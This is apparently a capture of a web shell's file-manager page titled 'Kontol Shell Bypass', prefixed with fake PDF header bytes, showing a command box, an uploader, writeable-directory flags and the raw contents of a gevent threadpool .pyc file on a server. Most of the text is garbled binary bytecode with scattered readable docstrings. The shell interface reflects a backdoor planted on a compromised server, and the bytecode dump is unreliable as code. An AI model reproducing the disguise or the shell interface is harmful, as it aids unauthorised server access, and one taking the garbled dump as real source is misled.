%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/gevent/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/gevent/__pycache__/threadpool.cpython-39.pyc
a

�_g�x�@s�ddlmZddlmZddlmZddlZddlZddlmZddlm	Z	ddl
mZddlm
Z
dd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlm Z ddlm!Z!ddlm"Z"ddlm#Z#ddgZ$dd�Z%efdd�Z&efdd�Z'Gdd�de�Z(Gd d�de�Z)Gd!d"�d"e*�Z+e+�Z+Gd#d�de*�Z,zddl-Z.Wne/�y�Ynd0e$�0d$�dd%l1m2Z3dd&l4m5Z5dd'l-m6Z7d(d)�Z8d*d+�Z9Gd,d-�d-e*�Z:Gd.d$�d$e.j;j<�Z<dS)/�)�absolute_import)�division)�print_functionN)�greenlet)�monkey)�
integer_types)�AsyncResult)�InvalidThreadUseError)�Greenlet)�get_hub_if_exists)�_get_hub_noargs)�
getcurrent)�sleep)�	Semaphore)�GroupMappingMixin)�clear_stack_frames)�Queue)�EmptyTimeout)�start_new_thread)�get_thread_ident�
ThreadPool�ThreadResultcCs$|durdSd|jjt|�|jfS)Nz	<missing>z<%s at 0x%x thread_ident=0x%x>)�	__class__�__name__�idZthread_ident)�hub�r�>/vddos/python/lib/python3.9/site-packages/gevent/threadpool.py�_format_hub%s
�rcCsd|jvr|jdjSdS�N�	threading)�modules�
_profile_hook��_sysrrr�_get_thread_profile-s
r%cCsd|jvr|jdjSdSr)r!�_trace_hookr#rrr�_get_thread_trace2s
r'c@s�eZdZdZdZejZee	�Z
dZdZdZ
dZdd�Zeefdd�Zd	d
�Zedd��Zeeefd
d�Zefdd�Zdd�Zdd�Zdd�Zefdd�ZdS)�_WorkerGreenletTrN���cCs�t�|�|j|_t�d�r*t�dd�}ntj}||_	|j
|_|j��|_
|j|_|j|_|�|�zt|jd�Wn|�|��Yn0dS)N�sys�stderrr)�RawGreenlet�__init__r�_hubr�is_module_patchedZget_originalr*r+�_stderr�
task_queue�_task_queueZallocate_cookie�_task_queue_cookie�_unregister_worker�_idle_task_timeout�_register_workerr�_begin)�selfZ
threadpoolr+rrrr-Ps 



z_WorkerGreenlet.__init__cCs6|�|_|�|_d|j_z|��WnYn0dS�NT)�parent�
_thread_identZgreenlet_tree_is_ignored�switch)r8Z_get_cZ_get_tirrrr7osz_WorkerGreenlet._begincCs<|��}|dur8d|_|dur2|jdur2|j��||_dS)NzThreadPool Worker Hub)�_get_hub_if_exists�nameZperiodic_monitoring_threadZ ignore_current_greenlet_blocking�_hub_of_worker)r8rrrrZ__fixup_hub_before_block�s
z(_WorkerGreenlet.__fixup_hub_before_blockcCsH|durD|j}|j}|j}|j}|j}td|||f|d�|j}qdS)Nz  File "%s", line %d, in %s��file)�tb_frame�	tb_lineno�f_code�co_filename�co_name�print�tb_next)�tbr+�f�lineno�co�filenamer>rrrZ
__print_tb�s�z_WorkerGreenlet.__print_tbcCs|�|��|�|��dS�N��
setprofile�settrace)r8�func�args�kwargs�
thread_resultr$r%r'rrr�_before_run_task�sz _WorkerGreenlet._before_run_taskcCs|�d�|�d�dSrNrO)r8rRrSrTrUr$rrr�_after_run_task�s
z_WorkerGreenlet._after_run_taskcCs�|�||||�zVz|�||i|���Wn |�||f|���Yn0W|�||||�~~~~n|�||||�~~~~0dSrN)rV�set�handle_error�	_exc_inforW)r8rRrSrTrUrrrZ
__run_task�s
�z_WorkerGreenlet.__run_taskc

Cs�d}tj}|j}|jj}|j}|j}|jj}|j}�z>z�|�z|||�}Wn&t	yrYWW|�
|���dS0zzzF|dur�WWt|t
�s�dn|}|�WW|�
|���dS||�Wnt|�}�Yn0Wt|t
�s�dn|}|�q8t|t
��sdn|}|�0q8WnPt�y`}	z6td||	f|jd�|�|�d|j�WYd}	~	n
d}	~	00W|�
|���n|�
|���0dS)Nz1Failed to run worker thread. Task=%r Exception=%rr@r))r*�exc_info�'_WorkerGreenlet__fixup_hub_before_blockr2�getr3�_WorkerGreenlet__run_task�	task_doner5r�cleanupr=�
isinstance�str�repr�	ExceptionrGr0�_WorkerGreenlet__print_tb)
r8�taskr[Zfixup_hub_before_blockZtask_queue_getZtask_queue_cookieZrun_taskZtask_queue_done�idle_task_timeout�errr�run�sR���
���,z_WorkerGreenlet.runcCsF|jdur0d|_|�|�dd�|_d|_d|_|durB|�d�dS)NcSsdSrNr��_rrr�<lambda>��z)_WorkerGreenlet.cleanup.<locals>.<lambda>T)r.r4r2r3�destroy)r8Z
hub_of_workerrrrr`�s


z_WorkerGreenlet.cleanupcCsdt|�|j||j�fS)Nz><ThreadPoolWorker at 0x%x thread_ident=0x%x threadpool-hub=%s>)rr;r.�r8rrrr�__repr__�s
�z_WorkerGreenlet.__repr__)r�
__module__�__qualname__Zgreenlet_tree_is_rootr;r*r[rZ�staticmethodrr=r?r.r3r5r-r
rr7r\rer%r'rVrWr^rir`rrprrrrr(7s,
�

-r(c@s�eZdZdZdZeZd0dd�Zdd�Zd	d
�Zdd�Z	d
d�Z
ee
e	dd�Ze
fdd�Zdd�Zdd�Zdd�Zeeedd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�ZdS)1ra\

    A pool of native worker threads.

    This can be useful for CPU intensive functions, or those that
    otherwise will not cooperate with gevent. The best functions to execute
    in a thread pool are small functions with a single purpose; ideally they release
    the CPython GIL. Such functions are extension functions implemented in C.

    It implements the same operations as a :class:`gevent.pool.Pool`,
    but using threads instead of greenlets.

    .. note:: The method :meth:`apply_async` will always return a new
       greenlet, bypassing the threadpool entirely.

    Most users will not need to create instances of this class. Instead,
    use the threadpool already associated with gevent's hub::

        pool = gevent.get_hub().threadpool
        result = pool.spawn(lambda: "Some func").get()

    .. important:: It is only possible to use instances of this class from
       the thread running their hub. Typically that means from the thread that
       created them. Using the pattern shown above takes care of this.

       There is no gevent-provided way to have a single process-wide limit on the
       number of threads in various pools when doing that, however. The suggested
       way to use gevent and threadpools is to have a single gevent hub
       and its one threadpool (which is the default without doing any extra work).
       Only dispatch minimal blocking functions to the threadpool, functions that
       do not use the gevent hub.

    The `len` of instances of this class is the number of enqueued
    (unfinished) tasks.

    Just before a task starts running in a worker thread,
    the values of :func:`threading.setprofile` and :func:`threading.settrace`
    are consulted. Any values there are installed in that thread for the duration
    of the task (using :func:`sys.setprofile` and :func:`sys.settrace`, respectively).
    (Because worker threads are long-lived and outlast any given task, this arrangement
    lets the hook functions change between tasks, but does not let them see the
    bookkeeping done by the worker thread itself.)

    .. caution:: Instances of this class are only true if they have
       unfinished tasks.

    .. versionchanged:: 1.5a3
       The undocumented ``apply_e`` function, deprecated since 1.1,
       was removed.
    .. versionchanged:: 20.12.0
       Install the profile and trace functions in the worker thread while
       the worker thread is running the supplied task.
    .. versionchanged:: 22.08.0
       Add the option to let idle threads expire and be removed
       from the pool after *idle_task_timeout* seconds (-1 for no
       timeout)
    )	r�_maxsize�manager�pid�fork_watcher�&_available_worker_threads_greenlet_sem�_worker_greenletsr1r5Nr)cCsp|durt�}||_t��|_d|_t�|_d|_||_	t
�|_d|_t
d|�|_|�|�|jjdd�|_dS)Nr�F)�ref)�get_hubr�os�getpidrvrurr1rwr5rXryrtrrx�_set_maxsize�loop�fork)r8�maxsizerrgrrrr-Is

zThreadPool.__init__cCs|j�|�dSrN)ry�add�r8�workerrrrr6[szThreadPool._register_workercCs|j�|�dSrN)ry�discardr�rrrr4^szThreadPool._unregister_workercCsdt|t�std|f��|dkr.td|f��||j}|jj|7_||_|��|j��dS)Nzmaxsize must be integer: %rrz maxsize must not be negative: %r)	rar�	TypeError�
ValueErrorrtrx�counter�adjustZ
_start_notify)r8r��
differencerrrras

zThreadPool._set_maxsizecCs|jSrN)rt�r8rrr�_get_maxsizemszThreadPool._get_maxsizea9    The maximum allowed number of worker threads.

    This is also (approximately) a limit on the number of tasks that
    can be queued without blocking the waiting greenlet. If this many
    tasks are already running, then the next greenlet that submits a task
    will block waiting for a task to finish.
    )�doccCs*d|jjt|�t|�|j|j||j�fS)Nz/<%s at 0x%x tasks=%s size=%s maxsize=%s hub=%s>)rrr�len�sizer�rrorrrrpys�zThreadPool.__repr__cCs|jjSrN)r1�unfinished_tasksr�rrr�__len__�szThreadPool.__len__cCs
t|j�SrN)r�ryr�rrr�	_get_size�szThreadPool._get_sizecCs�|dkrtd|f��||jkr2td||jf��|jrB|j��t|j�|krZ|��qB|jjj	}t|j�|kr�t|j�||j
jkr�|j
�d�qrt
�|jur�q�t|�t|dd�}qd|jr�|j�|j�n
|j��dS)Nrz'Size of the pool cannot be negative: %rz7Size of the pool cannot be bigger than maxsize: %r > %r�皙�����?)r�rtru�killr�ry�_add_threadrr��approx_timer_resolutionr1r��putr
r�minrw�start�_on_fork�stop)r8r��delayrrr�	_set_size�s&



zThreadPool._set_sizea.    The number of running pooled worker threads.

    Setting this attribute will add or remove running
    worker threads, up to `maxsize`.

    Initially there are no pooled running worker threads, and
    threads are created on demand to satisfy concurrent
    requests up to `maxsize` threads.
    cCsrt��}||jkrntt���}t|j�D].}|�|j	�}t
|�|�|j�|j
��q(|j��|�|j�dSrN)r}r~rv�dictr*�_current_frames�listryr]r;rr`r?�__dict__�clearr1r�r-rt)r8rvZthread_ident_to_framer��framerrrr��s

zThreadPool._on_forkcCs8td|jjj�}|jjdkr4t|�t|dd�}qdS)z6Waits until all outstanding tasks have been completed.g����Mb@?rr�r�N)�maxrr�r�r1r�rr��r8r�rrr�join�szThreadPool.joincCsd|_|j��dS)Nr)r�rw�closer�rrrr��szThreadPool.killcCs�t|j�|jkr,|jjt|j�kr,|��qt|j�|j|jjkrR|j�d�q,|jrh|j�|j	�n|jdur||j�
�dSrN)r�ryrtr1r�r�r�rwr�r�r�r�rrr�_adjust_step�s�

zThreadPool._adjust_stepcCsB|jjj}|��t|j�|jkr&dSt|�t|dd�}q
dS)Nr�r�)	rr�r�r�r�ryrtrr�r�rrr�_adjust_wait�s
zThreadPool._adjust_waitcCs0|��|js,t|j�|jkr,t�|j�|_dSrN)r�rur�ryrtr
�spawnr�r�rrrr��szThreadPool.adjustcCs|�|�dSrN)r(r�rrrr��szThreadPool._add_threadcOs�|jt�krt�|j}|��||jurq,qt�}|j}d}z.t||j|j�}|�	||||f�|�
�Wn&|dur�|��|���Yn0|S)a�
        Add a new task to the threadpool that will run ``func(*args,
        **kwargs)``.

        Waits until a slot is available. Creates a new native thread
        if necessary.

        This must only be called from the native thread that owns this
        object's hub. This is because creating the necessary data
        structures to communicate back to this thread isn't thread
        safe, so the hub must not be running something else. Also,
        ensuring the pool size stays correct only works within a
        single thread.

        :return: A :class:`gevent.event.AsyncResult`.
        :raises InvalidThreadUseError: If called from a different thread.

        .. versionchanged:: 1.5
           Document the thread-safety requirements.
        N)rr|r	rx�acquirerr1r�releaser�r��destroy_in_main_thread)r8rRrSrTZ	semaphore�resultr1rUrrrr��s&
zThreadPool.spawncCst�|juSrN)r|rr�rrr�_apply_immediately*szThreadPool._apply_immediatelycCs||�dSrNr)r8�callbackr�rrr�_apply_async_cb_spawn2sz ThreadPool._apply_async_cb_spawncCsdSr9rr�rrr�_apply_async_use_greenlet5sz$ThreadPool._apply_async_use_greenlet)Nr))rrqrr�__doc__�	__slots__r(r-r6r4rr��propertyr�rrpr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr�s29
		5c@s0eZdZdd�ZeZZdd�Zdd�ZeZdS)�
_FakeAsynccCsdSrNrr�rrr�send;sz_FakeAsync.sendcCsdS)zfake out for 'receiver'Nr)r8r�rrr�__call__?sz_FakeAsync.__call__cCsdS)NFrr�rrr�__bool__Bsz_FakeAsync.__bool__N)	rrqrrr�r�r�r�r��__nonzero__rrrrr�9s
r�c@sPeZdZdZdZdd�Zedd��Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�ZdS)ra
    A one-time event for cross-thread communication.

    Uses a hub's "async" watcher capability; it must be constructed and
    destroyed in the thread running the hub (because creating, starting, and
    destroying async watchers isn't guaranteed to be thread safe).
    )r[�
async_watcher�_call_when_ready�value�contextr�receivercCsB||_||_d|_d|_d|_|j��|_||_|j�	|j
�dS)Nr)r�rr�r�r[r�Zasync_r�r�r��	_on_async)r8r�rZcall_when_readyrrrr-VszThreadResult.__init__cCs|jr|jdSdS)Nrz)r[r�rrr�	exception`szThreadResult.exceptionc	Cs�|j}t|_|��|��zv|��|jrD|jj|jg|j�R�d|_t|_d|_t|_|�	|�Wt|_	d|_
|jr�|jd|jddf|_n,t|_	d|_
|jr�|jd|jddf|_0dS)Nrrz)r�r�r�r�r�r[rrYr�r�r�)r8Zawrrrr�ds*�zThreadResult._on_asynccCs6|j��|j��t|_d|_d|_t|_t|_dS)zK
        This must only be called from the thread running the hub.
        N)r�r�r�r�r�rr�r�r�rrrr��s

z#ThreadResult.destroy_in_main_threadcCs||_|j��dSrN)r�r�r�)r8r�rrrrX�szThreadResult.setcCs||_||_|j��dSrN)r�r[r�r�)r8r�r[rrrrY�szThreadResult.handle_errorcCs
|jduSrN)r�r�rrr�
successful�szThreadResult.successfulN)
rrqrrr�r�r-r�r�r�r�rXrYr�rrrrrIs	


�ThreadPoolExecutor)�Timeout)�Lazy)�_basecs��fdd�}|S)Nc	s<~z���Wn(ty6�j���fddd�Yn0dSrN)rdr�print_exceptionrj��fn�future_proxyrr�cbwrap�s
z_ignore_error.<locals>.cbwrapr)r�r�r�rr�r�
_ignore_error�s	r�cs��fdd�}|S)Ncs���dSrNrrjr�rrrJ�sz_wrap.<locals>.fr)r�r�rJrr�r�_wrap�sr�c@s|eZdZdd�Zedd��Zedd��Zdd�Zed	d
��Z	dd�Z
ddd�Zddd�Zdd�Z
dd�Zdd�Zdd�Zd
S)�_FutureProxycCs
||_dSrN)�asyncresult)r8r�rrrr-�sz_FutureProxy.__init__cCs.t�d�s|��r"ddl}|��Std��dS)Nr r�
_condition)rr/�doner �	Condition�AttributeError)r8r rrrr��sz_FutureProxy._conditioncCs|j�|j�gSrN)r��rawlink�_FutureProxy__when_doner�rrr�_waiters�sz_FutureProxy._waiterscCs6t|d�}|D]"}|��r&|�|�q|�|�qdS)Nr�)�getattrr�Z
add_resultZ
add_exception)r8rk�waiters�wrrrZ__when_done�s

z_FutureProxy.__when_donecCs|��rtjStjSrN)r��cfb�FINISHEDZRUNNINGr�rrr�_state�sz_FutureProxy._statecCsdSrNrr�rrr�set_running_or_notify_cancel�sz)_FutureProxy.set_running_or_notify_cancelNcCs2z|jj|d�WSty,tj���Yn0dS�N)�timeout)r�r��GTimeout�
concurrent�futures�TimeoutError�r8r�rrrr��sz_FutureProxy.resultcCs:z|jj|d�|jjWSty4tj���Yn0dSr�)r�r]r�r�r�r�r�r�rrrr��s

z_FutureProxy.exceptioncCs(|��r||�n|j�t||��dS)z&Exceptions raised by *fn* are ignored.N)r�r�r�r��r8r�rrr�add_done_callback�s
z_FutureProxy.add_done_callbackcCs|j�t||��dSrN)r�r�r�r�rrrr��sz_FutureProxy.rawlinkcCs
t|j�SrN)rbr�r�rrr�__str__�sz_FutureProxy.__str__cCst|j|�SrN)r�r�)r8r>rrr�__getattr__�sz_FutureProxy.__getattr__)N)N)rrqrrr-r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr��s
	




r�csBeZdZdZ�fdd�Zdd�Zd�fdd�	ZeZd	d
�Z�Z	S)r�a
        A version of :class:`concurrent.futures.ThreadPoolExecutor` that
        always uses native threads, even when threading is monkey-patched.

        The ``Future`` objects returned from this object can be used
        with gevent waiting primitives like :func:`gevent.wait`.

        .. caution:: If threading is *not* monkey-patched, then the ``Future``
           objects returned by this object are not guaranteed to work with
           :func:`~concurrent.futures.as_completed` and :func:`~concurrent.futures.wait`.
           The individual blocking methods like :meth:`~concurrent.futures.Future.result`
           and :meth:`~concurrent.futures.Future.exception` will always work.

        .. versionadded:: 1.2a1
           This is a provisional API.
        cs&tt|�j|i|��t|j�|_dS)a.
            Takes the same arguments as ``concurrent.futures.ThreadPoolExecuter``, which
            vary between Python versions.

            The first argument is always *max_workers*, the maximum number of
            threads to use. Most other arguments, while accepted, are ignored.
            N)�superr�r-rZ_max_workers�_threadpool)r8rSrT�rrrr-szThreadPoolExecutor.__init__cOsZ|j�@|jrtd��|jj|g|�Ri|��}t|�Wd�S1sL0YdS)Nz*cannot schedule new futures after shutdown)Z_shutdown_lock�	_shutdown�RuntimeErrorr�r�r�)r8r�rSrT�futurerrr�submits
zThreadPoolExecutor.submitTcs>tt|�j|fi|��t|jdd�}|r4|j��d|_dS)Nr�)r�r��shutdownr�r�r�)r8�waitrTr�r�rrr�%s

zThreadPoolExecutor.shutdowncCsdSrNrr�rrr�_adjust_thread_count0sz'ThreadPoolExecutor._adjust_thread_count)T)
rrqrrr�r-r�r�r�r��
__classcell__rrr�rr�s	)=�
__future__rrrr}r*rr,ZgeventrZgevent._compatrZgevent.eventrZgevent.exceptionsr	Zgevent.greenletr
Zgevent._hub_localrZ
gevent.hubrr|r
rZgevent.lockrZgevent.poolrZgevent.utilrZgevent._threadingrrrr�__all__rr%r'r(r�objectr�r�concurrent.futuresr��ImportError�appendZgevent.timeoutr�r�Zgevent._utilr�r�r�r�r�r�r�r�rrrr�<module>s^�>GR
I

Kontol Shell Bypass